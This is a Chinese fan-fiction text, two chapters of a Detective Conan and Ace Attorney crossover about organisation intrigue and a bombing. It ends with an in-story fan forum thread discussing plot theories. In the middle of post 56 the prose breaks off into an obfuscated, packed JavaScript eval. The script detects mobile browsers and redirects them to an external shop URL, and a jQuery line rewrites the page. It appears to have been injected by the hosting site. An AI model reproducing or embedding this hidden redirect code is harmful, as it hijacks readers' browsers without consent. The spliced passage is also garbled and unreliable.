拉娜唯透过走廊的尽头,去看此时自己位于十八层高楼窗户所能见识到的不寻常的风景。上万的楼房蹲在阴沉沉的积云和暗淡无光的太阳之下,她经历了漫长的折磨的疼痛的道路走到这儿来,看到的就是这样一副光景……她轻飘飘地说: “带我去见BOSS。带波士力娇见一柳万才。” 朗姆提出异议,贝尔摩德倒早猜到她要干什么,伸手指了一下坐在边上的青年。波士力娇现在另有他人了。她微笑。朗姆又吃瘪,觉得此处气场不合,不想多呆。拉娜唯说无所谓,但是你只要记住波士力娇是谁就好了。你不会搞混的吧?她的脸上忽然有了颜色,有了神采,仿佛电脑开机,完美的怜悯地嘲笑回来。我还活着这件事只有你们知道。不要让我在外头听见这个消息,你们懂的吗? “一上来就立威啊。拿谁都好,但是你可真是伤透了我的心啊。”贝尔摩德一点不害怕,甚至有空揶揄两声,话锋一转,谈话的内容尖锐起来,“抓卧底?范围收的好小啊。你真厉害。” “反正我相信你。”拉娜唯笑着说。她说完,感觉有点冷,很想退回房间去。但是脑内忽然有个声音对她说,不要回头。我没有回头的余地了。没有了。 残留的余温被她丢在背后了。丢在这个世界一望无垠的混沌的不知什么地方了。或许有一个世界的雪还纷纷而落。 这一天之后,近日来忽然声名鹊起的牙琉律师事务所收了一个徒弟。 67.谁来告诉我我到底在写啥 在检察院发生爆炸的那一天,是上午十一点四十三分。停在大楼院中的一辆车当场爆炸。其震动强度足以撼动大楼的地基,令站在其上的人行动不稳,一度怀疑是这片位于地震带上的国度再一次降下它的威慑。意料之外也情理之中的,这个消息被摁下,不被广而告之。 一般来说,这是极大的耻辱。对于这座寸土寸金的大楼,它的每一寸面积都受到几百几千天才接力优化维护监控,目的是保证这座大楼中行走端坐的人物端着咖啡来去自如,不必在做下什么可怕又移天动地的决策后遭到愚民的围攻或孤注一掷的刺杀。人命当然平等,但是有些人的生命显然比别人更平等。 除非是碰到现在的情况。 由于某些不可抗力,即便是政客也不得不熟悉了爆炸的声音,并且下意识地进行躲避。西装也好,包臀裙也罢;皮鞋,或者高跟鞋,都不能阻拦他们大展身手地躲进会议办公桌之下。沉闷的钝响。好像谁的头磕到了。大楼没有断电,但是灯被立刻关上——用以预防可能到来的狙杀;应该说这个措施是必要的,但是无效;因为玻璃立刻碎了。狙击已然发生。等他们抱着胳膊或者扶着额角从桌子下站起来的时候,看见的就是一个年轻人的身影,不管不顾地撑在靠近院子的那一侧玻璃窗上;脸几乎贴着玻璃;他维持这样的动作片刻,而后回头。与另外一个,在爆炸发生时纹丝不动,稳如泰山的人对视。 由于这二位身上所表演出的属于人类文明的美德太过辉煌,以至于在场的其他人谁也不敢,不愿意,也不能露出自己脆弱、暴躁或者恐惧的神色。众人就如此沉默地忍耐着,等候那个被允许开口的预兆。 昏暗的室内传来咔哒声。属于现代工业的声音令人神经紧绷,下意识看过去,一柳会长单手握着打火机,手指弹开盖子,细小微弱的火焰在他的镜片上倒映着灼烧的影像。他的一整张脸就这样被火光笼罩着,而背后庞大的头发的体积、胡子、还有身躯,他的脊背——就好像海平面之下的冰山,一千年也难化。他就这样栖息在属于他的靠背椅上,抬起护目镜后的一双眼睛。 这样短暂的寂静没有持续太久,短暂的几秒之后,即刻有人上来汇报;助理低低地喘气,扶着膝盖,依旧是先对会长微微行礼才直走过去:“抱歉先生,我们的失职……那是您的车。遭到了袭击。” 对方点了点头。但是,并没有直视助理,而是越过她,看向更远……他依旧注视着一柳万才。 不要紧。会长先生也注视着汐华真理。 助理把窗帘拉上,灯打开,一柳万才同时摁下打火机的盖子。火被他掐死了。他投来一个目光,意思是对方先开口。他同时审视着,这位年轻的,自己新到手的合伙人的代理人也是她的亲身儿子的,未来短暂的共犯的……这个叫汐华真理的人。该说吗,他脱掉御剑借的检察官制服,换了警服之后,看着更合适一点。 他听了助理的话,做了一个呼吸;随即走回来,手非常顺畅地从擦得光滑,没有一丝灰的桌面上举起他带来的纸张文件:“是袭击。——所以我想我带来的这个提案,进度是不是应该即刻提上日程?”光滑的桌面从下往上倒映出他的脸来。没有什么瑕疵,动摇,退缩——一点儿都没有。到了这个地步,他所想的还是自己的观点,看起来真是一心向公,大义凛然得……如同作假。一柳万才心想,波士力娇真是养了个好儿子。莫非孩子真的要放养?回头再看看弓彦,自己精心呵护长大,一路护航,到了现在,却如此不堪大用。 他笑了。这种笑并不纯粹。不如说是,他想起了什么事,这件事带来的不满与愁容与对计划的肯定与通过相互交织,最终变成了一个不能被一句话概括的神情。他点点头。应允了。 再开口的时候他早就把话题引到私事上来——倒也不算什么私事,大概。会议结束了。该走的人走了,只有这二位换了房间独处。他非常动情,向汐华真理表达了自己对于其母的身体情况的关心,说到动情处,不禁落下热泪。可以肯定一柳万才并不是在作秀,他看得出波士力娇这位儿子和她的感情浅淡而不紧密,疏远中带着得体;在场又没有其他人,不需要他来表演什么。唯一的答案只可能是出于真实的情感。总而言之,在慧眼如炬的会长先生看来,一柳弓彦可以在早晨碰见父亲修理摩托,拉娜唯却决计不可能令汐华真理触及她私人的兴趣或爱好。但话又说回来,她有吗? 当然,那个女人有没有什么兴趣爱好,都不很重要。与他无关。 汐华真理也垂下眼睛,低声说:“母亲会感激您的挂心。快些好起来的。我当然……如此希望。”他似乎不愿意在私事上纠缠太久,对一柳万才再次道谢,“感谢您对我的帮助。如果不是您的拍板的话,这个提案已经纠结了一个月,还会再纠结一个月。” 一柳万才笑了笑:“不必担心。在我这里,你的出现,效用等同于你的母亲。请相信我这里是世界上最坚固可靠的银行,可以与我放心大胆地合作,我们积累下来的感情,不会因为外界的改变与阻拦而断送……我好像记得你接下来是要出国?” “是的。准确来说,就是今天下午了。” “也是出自你母亲的……拜托吗?” “……算是吧。不过,联系大概还是由我来,只是转为线上。” “我明白。孩子,真是辛苦了。母亲横遭此难,自己又被迫远走他乡……假使你愿意,我可以提供帮助——” “——那太麻烦了。”汐华真理立刻回答他,“感谢您的好意。” 他回绝了这一条,礼节性的,就不能再次回绝了。当然,一柳万才接下来所说的也不算多刻薄的要求;他退了一步,说,御剑检察官今天下午也要离开国土了,我派车接他,你的车刚才又遭到袭击,你们两个又曾经认识,不妨你们同行。这一点,汐华真理接受了。在如此若干的老熟人面前,他还是愿意见御剑怜侍的。幸好是他。说不定他就是自己离开这片国土后见的最后一位熟人。 在另一边,拉娜唯坐在椅子上。总躺在床上觉得浑身疼痛,但她现在又不爱出门,毕竟锁血是锁血不是复活甲,不会重置状态;人在将死的时候祈祷只要让我再多喘口气就好,真的能够自如地运用肺叶呼吸后,就会开始挑三拣四。她披着头发,看起来是对着雾蒙蒙的天色发呆;闭着眼睛,心思却全挂在会议中。 拍板叫汐华真理出国这个事是早就有的主意,但今天才觉出自己这一笔的正确性。组织当然对此颇有微词,无外乎是说汐华真理既然继承了母亲的代号,依例就该做母亲未完成的事业;现在正是用人之际,由不得他带着波士力娇这么个代号跑到国外去。一开始拉娜唯抗命顶多是出于本能,远离令她不能和气相处的人;她说:我又不是死了。 她这样对镜头另一边的乌丸莲耶说。 只要我还没死,你把代号还给我,然后下令叫波士力娇行动,难道我还能推辞不成。 直到过去三天,她变得可以从头脑的混乱之中挑出清明的理智去梳理金钱雨落下的一夜中,一切合理的,不合理的——她想起一个人。 虎狼死家海螺卫门。 那位被警察巨额悬赏通缉的杀手,常常以“田中太郎”作为化名。始终一副扑克脸,带着不变的微笑,会根据任务来换服装,为人极其礼貌,对所有人都用最高级的敬语。尽管是一位杀手,但是极其重视信义,认为背叛是最值得憎恨的。他杀人的手段非常严格专业,在完成任务后留下一张画有海螺的卡片,表明是自己所为。 他似乎曾试图在混乱之中谋杀汐华真理。 按道理来说干这行遭人恨正常,恨到死也不奇怪;但是到底是谁想杀汐华真理,实在是未解之谜。按道理来说,这小子应该到现在才特别招人恨,究竟是谁那么早就盯上了他?无论如何,她都得做点什么。不能确认凶手,那就走。假使这个男孩儿命中注定去死,也不该是现在。迄今为止虎狼死家从未被外国人雇佣过,然而还是在国外有所活动;逃避不能解决问题,但作为缓兵之计或许及格……更何况,拉娜唯有些需要确认的东西。以这里的医疗条件,虽然不至于无能为力,但首先她不能亲自上,只能委托他人;而这位可怜的医生一旦看见了拉娜唯预想中会看见的东西,头脑里大概会受到可怕的冲击…… 还是算了吧。 雅各布当然不会为她收拾烂摊子。拉娜唯清楚。但是,为今之际,她不能信任别人了。起初她对于这个舅舅没有什么所求。然而,现在有了。而她为了这点所求,不得不去争取交换的资本。 幸运的是,她还没有穷困潦倒。不幸的是,她体察到一点自己即将破产的意味。普通人以为的破产大概是前一天香车豪宅,忽然大风吹过来把工厂吹烂;老板人就破产了。但是真要这么算的话,破产应当是极小概率的事。事实上的破产,一个漏洞靠贷款或者借款补上,缺口扩大,继续弥补;一次又一次恶性循环,失去翻身的余地。还不上债,那就破产了。 “鹰巢”在十六楼。 她低头,俯瞰整片城市。随后走进厨房,为自己准备一杯咖啡。太阳还未悬停正空,露水新鲜。 他们都这样叫。 一开始的说法应该是贝尔摩德传出去的。她从楼上下来,脚踏在地上,消失在人群里。她当然没有直截了当地坦白自己见到了谁,明目张胆地对着干不是她的风格,彻头彻尾地听话也不是。她喝了酒后说:我去了一趟“鹰巢”。再多的话便不提了,只对着人无意义地美丽地笑。而“鹰巢”,则似乎正如其名,栖息在城市的顶端,埋葬在云层之间,时不时投下平静而冷淡的目光。由于第一个提及的人是她,他人也就默认贝尔摩德会与之走的近些,没有道理。 他们通常猜测“鹰巢”是什么新鲜成立的会议,同盟,监察组织,或者别的——在人类的语境之中,总是给这种猛禽赋予相似的意象。高瞻远瞩,心狠手辣。总之,只是个地方,用以给代号成员开会。当然,并不是所有代号成员都可以登上十六层,而被允许上楼的人,其中一些又似乎,有些抵触——? 当然,无论如何,他们下楼之后,尽管如何诋毁、彼此相害、互相攻击;至少在楼上,他们诡异地安静,沉默。即便建立在忍耐与仇恨,阴谋与算计之上,他们在“鹰巢”之中,看起来,依旧像是一个紧密的联盟。 紧密的联盟反映在外界的体现,是这个——组织中隐含的组织——立即发布的通知,抑或是指令。所谓新官上任三把火,鹰巢里传出的鸣叫倒尖利短促,像刀剑的刃,非常寒冷。一开口,涉及三个代号成员,不可谓不震耳欲聋。前两条把三瓶威士忌摔碎了两瓶,一个叛逃一个已处决,碎片太过尖锐,以至于很多人无视了最后一条:波士力娇代号暂时封存。不活动不移交不删除,冷藏处理。 非要说的话,这个代号从前倒也没有做过什么惊天动地的大事,大多数人提起也是花了好半天时间才想起来,这位好像是个女成员。比较少见。但是别的也记不起来太多。 大多数不够核心的成员关注的大概还是,鹰爪是谁?谁挥出了铡刀,谁取走了人命?当然,这倒也不算什么特别难以探讨出答案的问题,证据则是琴酒非常规律地一周上去一趟,不多不少,停留时间也往往相近。贝尔摩德就随性一些,她之于组织像猫之于房间,叫人猜不到她下一秒会出现在哪里。朗姆去的少,原因一会儿再提。 这就是不能上楼的人所能见到的面孔。当然,范围扩大些呢,则还有些生面孔。不多。一个是牙琉律师事务所的所长,此人也不再经常地亲自来了,叫他那个头顶竖着两根毛,棕色兔子一样的年轻学生来。他十五岁。不知道鹰巢内部如何调度,总而言之,王泥喜法介没有在这里碰到过除了他老师之外,任何,他这个年纪,这个身份不该见的人。 一柳万才从未出现过。为了您好,请坚信这点。 还有一位隐藏角色,遭人口耳相传,在私密的谣言中沽名钓誉。这一回就不那么明目张胆了,真正,婉转地间接见面的人是水无怜奈。她作为播音员,自金钱雨之后每日依旧规规矩矩上班,四日后她听得内部消息,讨论一件上头迟迟不肯拍板,但还是很有可能颁布的新闻。她听着,觉察出不寻常来,于是隐秘地找寻源头。当夜她晚下班一小时,查到此事或许与一柳会长有关,于是自告奋勇,在有人提及需要送个材料去的时候,主动接下了这个工作。一般来说这种跑腿的活轮不到她做。 她没见到一柳万才,这是正常的事。或者说,要的就是他不在。那位会长定然是人精一个,面对面说话费大力气讨不着好,自己也没有足以与之相交谈的身份;还不如趁他不在小手不干净一下得了。 矫健的年轻女士在那里留下了一些“小礼物”。这些沉默而寂静的,只有镜头会在黑暗之中微弱闪光的造物,会在未来帮上她的忙。做完这一切,水无怜奈不多余地做任何无意义的工作,她这就离开了。离开位于正当中的办公室,离开一共有两条路(现在不是剧场版,不可以穿着高跟鞋跳楼的哈)。 一条路袒露在白炽灯下,看起来正大光明,一条走廊通往尽头,鞋跟踩在瓷砖上会作响,两侧的门随时可能打开,某位检察官或者书记员就会端着咖啡杯或者拿着纸巾从里面走出来;另一条路掩在黑暗之中,模糊不清,如同幻影。她稍微迟疑了一下,朝着黑暗走去。绿色的安全通道的灯牌微微发着亮光。水无怜奈就这样下了两三层楼梯,在下一个转角处,受益于她培养的好习惯,走之前先看看是否有人在那里;她先一步,看见黑暗里的一抹红色。然后是一抹红色之上惨淡的苍白,看起来像一只白色的羚羊被人屠宰,但是没有即刻死去,脖子上的血瘢还新鲜,黏连在皮毛之上。 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她决心相信,于是照做;但也没有全信,而是大胆地瞥了一眼,视线捉住了楼梯遮挡的那个神秘的交谈者的一片影像。是个女人,但看着相貌平平,一张大众脸,没什么值得说的。当然,水无怜奈还是尽职尽责地记住了对方的相貌特征,才轻手轻脚闪身离开了。马尾划过一道曲线,离开了寂静的黑暗,她重新回到了安全的光明之下,温度也仿佛回暖。如果没有人看见她,就更好了。 可惜的是,事与愿违。在过盛的光亮之下她蓝色的眼睛之中被点亮了一簇火苗,就好像一柳万才的打火机——奇怪,她怎么会这么想——走向另一条路,身穿红色制服的检察官先生出现在走廊尽头。年纪轻轻而事业有成的御剑检察官,刚刚险中求胜不畏强权将警察局局长送进监狱的御剑检察官,工作到深夜。此时看起来竟然……失望。 为什么? 他眼下的纹路变得更深了。白炽灯不易察觉的嗡鸣之下,他眉头皱紧,嘴角微微地向下。手抓着一次性纸杯,指尖发白,甚至一度略微有些神经质地发抖。 看来学法确实磋磨人啊。不过,御剑怜侍和水无怜奈没什么交集,显然。所以他礼貌地侧身让过女士通行,二人擦肩而过。的确没翻起什么水花。 这一天是金钱雨结束后的第四天,汐华真理把提案塞进一柳万才办公室的第一天。水无怜奈太有行动力了,一夜如何追踪不必多说,总而言之,旅途的终点是她开车到了城市的尽头,大楼设在正在开发的新区。 反光的高楼玻璃映出两边的景象:这一面直对着繁华的城镇高楼,另一边则是青绿色的麦田在逆光中恍恍荡荡。这栋楼设在这里,像是某种发展阶段的过度期,像水天交接的镜面。鹰栖息在这里。她追索至此,发现空旷有空旷的坏处,在这里停的每一辆车都好像贴图,自己的车往这儿一杵就好像那唯一一个可互动选项一样,压根不是一个图层,显眼的吓人。她想了想,车往边上最近的商场地下车库一停,外套反穿一下,买了顶帽子,遮住姣好面容的大半。乘坐公共交通的末班车,安静地潜藏在一旁的建筑物的阴影里。 她看见窗户玻璃内灯火通明,大厅安静空旷,安保像人偶一样纹丝不动,除开轻轻摇动树枝的风,还在活动的大概只有电梯的提示灯。有人下楼。她就这样,下意识地屏住呼吸,等待方盒子打开,里面走出什么人来。 金色发丝打理的妥当,衣冠楚楚的青年律师先生,先一步踏出电梯轿厢。他眯着眼睛,镜片之后看不清神色,但嘴角勾起,总而言之,挑不出错。他出电梯后即刻转身,他的背后,出现了令一个人。 汐华真理与他交谈两句,看神态大概只是什么礼节性的套话。听了让人害怕耳朵进水。他说完就转身又乘电梯离开,而牙琉雾人背对着水无怜奈,背对着一切试图窥视他情绪的探究性的目光。他又多站在那里,约五分钟,才舍得走。 他想了什么,不为外人所知。在牙琉雾人转身向她走来之前,水无怜奈先一步转身,回到商场。人群带来了温度,令她避免为蛇的目光所刺痛。 此事后经由水无怜奈转告江户川柯南,最终在观众眼中所知晓。层层外包,被论坛再发酵个两三层,最后落在拉娜唯眼中。她盯着截图里御剑怜侍的脸,那张端正而且相貌堂堂的脸,盯着他即便疲累也依旧风度翩翩的举止,没有辜负她力排众议找来的原画师——她微微地叹了一口气。无声无息。 拉娜唯她猜御剑怜侍看过自己交给一柳万才的提案了。而且,检察官的行动也是可以被预见的,必然是反对。无论是出于道义,还是出于私交,在看到内容之后,他说不定会对真理有一点儿意见。不过债多了不愁,恨我俩的人得排队取号,这一点意见实在不能拿自己怎么样。更何况,御剑怜侍是个好人。 这就够了。 画面停在那里。拉娜唯手稍微颤了一下,动作幅度很小,她本来可以直接关闭屏幕,而一层层退出的话总归是要看见其他讨论帖的标题。我要看吗?她想。其实这几天她不是完全闭关锁国,或者说要保全自己,就不允许她再对于自己私人的恩怨软弱。但是,也往往只是看一看剧情百科,很有自知之明地没有踏入过粉丝你一言我一语交谈的聚会之中。 看吧。 人还能被骂死不成。 拉娜唯忽然下定了决心。为了使自己对着虚空发呆的样子不要太奇怪,她打开了笔记本电脑里随便某个文档。 说到文档,得提一嘴拉娜唯的公文水平。并不烂,只是有一点不符合现在的环境。她说话有一点老气,用词有点过时。平时沟通交流不会觉得,落实到书面上,经常咬文嚼字的人就会品出一点异样。当日拉娜唯尊师重道极了,上线即送给雾人老师十连抽,然而,律师先生没有走。不出意外的话可能的结局是二人相坐无言,仿佛要活活闷死在这里。但也许是长进吧。拉娜唯用那种满眼写着“真希望你死”的表情,微微眯着眼,双手环抱胸前——太可怕了。和她亲爱的老师神态一模一样。她说:老师? 牙琉雾人抬起头,推了推眼镜。动作幅度不大,但是事实上快速了许多……他说:嗯。 老师终于开始教授学生如何写作公文。要交给一柳万才的那一篇是二位合谋,反复斟酌通读修改,后来汐华真理回来,就成了三个人一同推敲。牙琉雾人可能知道这就是最后了,因此教的尽心尽力,教完之后拉娜唯就毫不客气下了逐客令。其他的倒都是自己写的了。说这么多只是想说,他们做这一切的同时,诸伏景光的灵魂就那样无声无息地看过全程,像屋子里的一个摆件。现在拉娜唯蜷缩在椅子中,而电脑屏幕的光和影子扑簌簌落在幽灵的眼睛里,他看着拉娜唯亲手为他写就的死亡通知。一字一句,可以读写,字句环绕在舌尖。一个人能阅读到自己的讣告,太幸运也太不幸了。 68.请勿引战。 [泥砖菜盘驻米花律师咨询室]查询画师状态 1# Big due.谁还记得真理刚登场时的眼睛颜色。我记得是饱和度没那么高的浅红吧,怎么感觉动画组悄悄给他换了特别艳的红色。越来越鲜艳了。 2# 感觉动画组换人了这是可以说的吗。虽然画风还是那样但上色疑似被人抢笔 3# 是不是吃书了( 4# 还以为这个毛病只有本篇犯,看来重制版编剧也顾头不顾腚 5# 其实设定吃一吃倒无伤大雅……尤其是放在这么一个历经了三十年的作品里。我回忆一下,改发色的,琴酒和贝姐,这二位都从金发偏银白。不好说是作画失误还是改设定了,不过大伙应该都听说过琴酒改变发色是接受药物实验的假说吧?整个人人设经过一次大变动的是宫野明美,抢了两回银行,是为了进主线;瞳色变动则是志保来着,早期是蓝色,后面明确和赤井一家的亲缘关系后就开始朝着绿色靠。零那个所谓因为太帅而黑跳红的传言现在也争执不休,就暂且略过吧。 6# ……啊,要是这么看,吃设定倒也不算是无迹可寻?反正都是要暗合主线,不是随便乱改。也就是说,吃设定可以看作编剧手中的剧情进行了一次大改? 7# 改的点在哪里?是给真理选妈吗? 8# 这个事好像确实算得上比较重要的主线了……不过按照刚才总结的规律来说,给真理换设定不应该更贴近拉娜唯吗?换个黑色的眼睛?为什么改色改的这么鲜艳? 9# ……嗯,就算说选妈这个事是编剧后来更改的剧情好了,那原来他们的计划是什么?打算把汐华真当什么用?红方工具人?知道有酒厂这么一个组织,和组织成员也打过几次照面,幸而脱身? 10# 这样搞的话定位就和平次还有快斗很接近了吧。 11# 确实诶。我记得一开始的平次还和柯南不太对付来着,倒也不至于对着干,只是暗暗咬着一股劲儿,关西和关东的两位高中生名侦探想要竞争出来谁才是全霓虹最优秀的那一个。亦敌亦友,算得上竞争关系。对组织也不算全无认识,满月篇特辑也帮了大忙。 不过随着剧场版加持,柯南的战力值越来越膨胀,大概也早就超出了侦探范围了吧呵呵……放在平次视角,你还跟人家比脑力,人家把你压了以后扭头去搓螺旋丸。侦探只是副业,人家主业是大魔导师,还比鸡毛啊投了投了。关键时候骑小摩托带你,算是全了咱俩的兄弟之谊。 12# 快斗也差不多吧。在平次从跟柯南较劲逐渐发展成把柯南挂裤腰带上走之后,编剧看着现状总觉得哪里不对;但是咱们又不是一个彻头彻尾的单元剧,人和人之间的感情总得有所进展。总而言之,肯定不能给平次把点数洗了然后让他俩再对着干对吧,那就快斗来呗。现在不是侦探和侦探之间的同行是冤家了,现在是侦探抓怪盗,亦敌亦友,也算影史的经典设定。虽然被屡次重申不会参与主线,然而最终还是在列车篇堂堂登场,保下了小哀。 只可惜作品实在太能拖,就算日常再怎么水,人物与人物之间的好感度还是会上涨;咱们的快斗也不可避免地从躲着柯南走发展成了把柯南挂裤腰带上走。 13# (开始翻动画截图看真理的裤腰带 14# (无力吐槽总之看裤腰带指路和贝姐初见那集那集狂拍沟子 15# 能不能放过人家的裤腰带! 16# (把裤腰带抛之脑后)(开始思考) 那么按照综上所述的类比推理来说,真理即将肩负起前两位裤腰带负重冠军的责任,奉编剧旨跳反,勇担给柯南使不大不小偶尔还能谜语人一下的绊子?希望真理能撑住了,守护好自己的裤腰带 17# (把真理的裤腰带送回来!) 为了能让真理撑久点特意给他安排了酒当妈吗!太麻烦了吧编剧非要这个同龄人竞争关系不可吗!! 18# ……说实话,我觉得楼上说对了一半 19# ? 20# 这熟悉的舅舅党发言 21# 不要随地大小舅啊!而且现在的舅舅有几个真的?前阵子官方线下活动被爆的太厉害,官方估计也觉得舅舅杀不完,干脆换成找人放假消息了。 22# 我也不是舅,纯粹就是有感而发。我感觉,说不定,编剧一开始想给真理安排的妈是贝姐来着。 但是那是建立在波本、苏格兰和雪莉都纯黑的基础上。 如果黑方的势力能够像编剧计划中的一样壮大——甚至说不那么壮大,能和红方势均力敌,略微矮一头也好。那这棋还能下。 我不知道你们有没有看过一个讨论贴,也是本版的,指路【游客3254313向您分享了一篇帖子,复制链接打开APP查看主题贴:[泥砖菜盘驻米花律师咨询室]我了个当场打决战啊】 我的分析主要基于17楼的理论基础上。那个老师分析的时候说过一句待定区五个子全归红方黑方只能下饺子,估计编剧也考虑到这点了。但是没办法,不管是不是本篇和重制版激烈的交换意见了,还是qsgc本人下场说啥了,又或者是周边还是二创区的风口不对,甚至联动方不满意……(这个是我听说的消息不保真,据说是过审的时候审查说本篇毕竟是子供向动漫,小孩子分不清楚什么重置不重置也不能理解这边的好人为什么换了一边就变成坏蛋,要求统一人设)反正种种原因下来,重制版编剧自己和自己打架,没准人都被换下台几个,最后搞成这样。 本篇红的继续红,那只能把新角色硬掰成黑的。但是掰完犹嫌不足,还是失衡怎么办。 再新加一个黑方,太着急了,人物立不起来,没办法。只能扣留志保,然后……唉。 我不知道编剧当时一开始留下景光的时候有没有为如何改变那个剧情节点给出合理的解释,或者更大方一点,愿意把那段剧情演出来。但现在看看,如果编剧班子都被换了的话,那段回忆恐怕是早就胎死腹中。 再说一遍,我所做的这些全都是猜测。领导班子大换血这件事没有定论,我们作为观众,能观测到的大概只有,汐华真理的眼睛换色号了。 23# …… 24# 唉。 25# 话题忽然变沉重了。 26# ……我看这个版面的讨论环境还不错? 27# 怎么说? 28# 总版那边吵的疯了我去,连带着其他讨论版都禁死小,重制版相关讨论也禁了。 29# 都说啥呢? 30# 主要骂的还是Yuki。 31# ???为什么??? 32# 男宝妈战斗力贼强,看到人工呼吸急了呗,觉得编剧准备卖真雪了,打着“啊我们这个动漫是推理漫不是恋爱喜剧动漫”的名头打雪。毒唯最恨真嫂子。 但是当时情况就是那么个情况,雪不救难道让汐华真等死???人家小姑娘全程是受害者没错吧?杀人未遂那个事是千奈美干的也不是她干的啊!为了不让一柳万才在处死千奈美的时候波及到春美的躯体,只能她来拉扯千奈美的灵魂;结果谁知道是不是贵美子和动物园又搭上线或者怎么样,造了个圈套等着她跳。她是被算计的最狠的一个。结果总版全在骂她是怎么回事? 33# (在外交版还没了解泥砖菜盘剧情真该死啊但是还是要问):……不好意思,查询一下,这个贵美子……? 34# 啊,事已至此干脆在这科普一下吧。 绫里家族的老祖宗是绫里供子,她也是出现在逆转系列法庭记录里最古老的角色。经过中间不知道多少代至今,现在的绫里家当家是绫里舞子,而她的妹妹是绫里贵美子。 绫里舞子有两个女儿:绫里千寻和绫里真宵。 绫里贵美子有三个女儿(有血缘关系的):美柳千奈美、叶樱院彩芽、绫里春美。 绫里贵美子一直想要谋求家主的位置,但是苦于自己灵力稀薄,只能不断地生下孩子,希望自己的孩子能够拥有丰沛的灵力。千奈美和彩芽都几乎没有灵力,于是贵美子转而生下了春美,春美显然天赋异禀,于是贵美子希望凭借春美来争取家主的地位。在之前的叶樱院案中她虽然确实谋杀了姐姐舞子,但最终被抓。只是她显然还没有死心,尤其是在绫里千寻已经意外身亡,真宵又主动出国的情况下,此时和春美同辈的只有一个血脉不明,很可能与主家关系稀薄的舟桥佑希。她又开始谋划夺位,也是为了给女儿扫除障碍;综上所述,这个阴谋的幕后黑手,很大概率就是贵美子。 35# ……不过贵美子可能把春美交给一柳万才吗?要知道如果一柳万才真的处死了千奈美,贵美子等于一口气搭进去两个女儿啊!在这种情况下,把佑希拉下来会有什么好处吗? 36# 所以我说大概率是贵美子,不绝对。贵美子想要预防这点倒也可以,只要告诉春美绝对不要灵媒就好,理论上可以。 37# ……还是很奇怪。 如果是我的同谋,或者我的搭档,为了达成某个目标,必须豁出去的话,我倒是可能让他冒险。但是春美是贵美子的女儿啊!她还那么小,贵美子又身处囹圄,倘若女儿发生了什么不测,她是绝对没法及时赶到的。贵美子虽然坏,但既然为了春美而争取家主,至少是在乎这个女儿的吧?天底下真的有能利用亲子至此的母亲吗? 会不会是向佑希声称春美即将受害的那个人说谎了?也许春美只是被检察院带走安置,并没有关起来?是传递消息的人夸大其词,使得佑希误以为春美情况危急?毕竟,贵美子应该是舍不得拿春美冒险的,这是最妥帖的办法了。 38# ……对啊!如果是一柳万才真的扣人了,应该没那么容易把春美接出来。所以问题就在于,谁撒了谎?说起来,动画演的乱糟糟的,到底是谁诱导佑希去救人的? 39# 忽然意识到雪知道的比咱们想象的多诶。雪之前法庭挨大狙的时候在心里怒喷琴酒,之前象棋帖里的老师好像半开玩笑的猜是真理给她通的气? 难道春美的事也…… 40# 喂喂!这话不兴讲啊! 41# 那能是谁?有时间的不是死了就是没动机,有动机的不是死了就是在蹲监狱。不管是萩原还是明美但凡知道雪要去单人闯检察院绝对拉回来,真红子或者白马也不会赞同;彩芽和贵美子都在蹲监狱,千奈美死了。 42# 说起来,真理好像是违反命令独自行动了? 43# 对诶。零让他和风见一起,结果他跑了自己去检察院,在一群人里找到佑希了——诶?诶?等等??? 44# 。? 45# ???? 46# !!!! 卧槽!破案了! 47# ……啊,那如果雪是被真理骗了,不管她反应没反应过来,最后反而是她救了真理吗……哎。好可怜。好可惜。 48# 不是,这个死小子从这里就开始埋坑了???? 49# 他到底是从什么时候开始搞小动作的啊? 50# 问一下楼主能转总版吗会标明出处!!! 51# 我是楼主但是我一开始的讨论话题只是真理眼睛换色号了啊!这个东西也要转吗!!!如果只是转推理过程还是从33楼挨个问吧!!!(无助)(无助) 52# 版面不吵架就是好。氛围理性了讨论也高效。 我是真受不了总版还在那幻想汐华真理跳反以后能不能手握大权位逼boss,和红方里应外合直接架空酒厂,这可能吗?真以为过家家呢?这人现在还没战绩就先不贷款问责了,他妈看起来难道是什么好对付的人吗? 刚一明牌直接带走一个卧底,带走的这个还是汐华真理亲近的人。现在看零零带回来的消息,波士力娇这个代号移交真理了,估计拉娜唯也凶多吉少,真的就此退场也不是不可能。本来就是血海深仇不死不休了,你要说真理其实心是好的只是左右为难,那我宁愿他就是个坏种背叛的头也不回,至少我还能更尊敬他一点。 当然,他要是写成掺水摆烂的人设倒也可以,不是说不通,甚至很合理——作为普通人的时候。做了错事,后悔不迭,全力弥补,无济于事——这种戏码在我们的人生不断上演。但是我看他不太可能有好结果。或者说在跳反的那一刻他的结局就已经注定了,只是死的好看或者难看的区别。每一次和过往相识的人说再见,都是死去一点点。与其说生前畏首畏尾,左右为难,懦弱不堪,还不如就不要后悔。 故事的结尾并不重要。生活唯一确保我们的就是死亡。所以不要让结尾夺走了故事的光芒。 53# …… 54# 哇哦。 55# (说句不中听的): 刚开始还以为50楼是……景厨来着……过来打老鼠…… 不过现在看,感觉老师还挺喜欢真理的? 56# 我都喜欢。 其实非要论的话,唯我也挺喜欢的。可惜女角色的人气老是差一点,本篇混出头的也就是志保,贝姐还差一点。重制版前半部分的唯感觉就跟贝姐定位差不多,挺有魅力的就是差一点。打完天台以后如果还出场的话估计人气挺有说法的,但看样子要被雪藏了。没办法男宝妈的周边购买力是真强,唯又不卖肉也不是zng爱的一款,卖手办卖不动,干脆给她儿子抬轿去了。 算了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13913122|121598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感觉重制版编剧也开始慢慢犯病了,天台战打的挺漂亮的,一口气埋了我的两个推,也算是说得过去的光辉结尾了。就这部动漫,死得早不被拉出来打复活赛是好事,角色边缘蹭不上戏份也是好事。 谁能懂,我一开始以为自己三个推互相不怎么熟,唯在外层游走当自由人,顶多景和真理可能小规模对线,没想到现在一看关系这么紧密,还让我看了不爽。这就是死小的魅力,让全世界不满意。 57# 再次感叹外交版环境是真好啊。 